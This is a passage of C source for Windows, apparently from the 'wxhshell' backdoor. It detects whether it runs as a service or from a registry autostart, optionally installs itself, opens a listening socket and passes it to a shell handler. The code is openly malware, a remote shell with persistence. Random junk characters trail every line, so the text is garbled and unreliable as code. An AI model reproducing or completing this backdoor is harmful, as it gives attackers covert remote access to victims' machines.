ULONG InheritedFromUniqueProcessId; pK|~G."6e
} PROCESS_BASIC_INFORMATION; 2A95vC'u>|
-P.51q
PROCNTQSIP NtQueryInformationProcess; %A$5mi^
fFNscY<4w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '-l.2IUyT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q^ w@l
CQANex4&\
HANDLE hProcess; $SOFq+-T
PROCESS_BASIC_INFORMATION pbi; "M!]t,?S
f'oO/0lx
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sOyL
if(NULL == hInst ) return 0; ^cnTZzT#Q
4F`&W*x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z|$M,?r'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WR<?_X_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :u9OD` D
~z kzuh
if (!NtQueryInformationProcess) return 0; gJZH??b
LsI8T
uv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A/c #2
if(!hProcess) return 0; )Ggv_mc h
VrIR!9%:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r6QshCA"
'nT#c[x[0
CloseHandle(hProcess); }1#prQ0F
YZk.{#^ c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XkhGU?={
if(hProcess==NULL) return 0; Ab
In\,x
W;T5[
HMODULE hMod; Ntt*}|:QV<
char procName[255]; OfK>-8
unsigned long cbNeeded; idNra#
Rz#q68
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k.ttrKy<q/
Q@
Ze+IhK`
CloseHandle(hProcess); G`Df'Yy
,(A
$WT@e
if(strstr(procName,"services")) return 1; // 以服务启动 YvG=P<_xw
TYKs2+S6
return 0; // 注册表启动 9Wv}g"KY0
} (2ZkfN
[Qqomm.[\w
// 主模块 6E-AfY'<
int StartWxhshell(LPSTR lpCmdLine) RuGG3"|
{ fgoLN\
SOCKET wsl; ictV7)
BOOL val=TRUE; `k6ZAOQtX
int port=0; .Im=-#EN
struct sockaddr_in door; ]5r@`%9
!T#EkMM
if(wscfg.ws_autoins) Install(); 1{AK=H')
jx{wOb~oO)
port=atoi(lpCmdLine); Rc vp@
lc$wjK[w[
if(port<=0) port=wscfg.ws_port; ^D76_'{
_CMNmmp`e
WSADATA data; &/n*>%2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {e5DQ 21.
aka)#0l .
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yv|`A2@9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); klR\7+lK
door.sin_family = AF_INET; 63i&<
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Za,myuI+
door.sin_port = htons(port); '3b'moy
!nsx!M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oOHY+'V
closesocket(wsl); 9:*[Q"v
return 1; e%lxRN"b
} KM+[1Ze$
Z(t7QFd
if(listen(wsl,2) == INVALID_SOCKET) { !FwNq'Q8$
closesocket(wsl); 4f&"1:
return 1; ? G`6}NP
} )$ h!lAo
Wxhshell(wsl); $J):yhFs e
WSACleanup(); )8!*,e=4
W7. +
return 0; R@-x!*z
S=gby
} O0FUJGuTS
wB bCGU
// 以NT服务方式启动 3RanAT.nu:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @qpj0i+>*
{ (:I]v_qEYS
DWORD status = 0; snWe&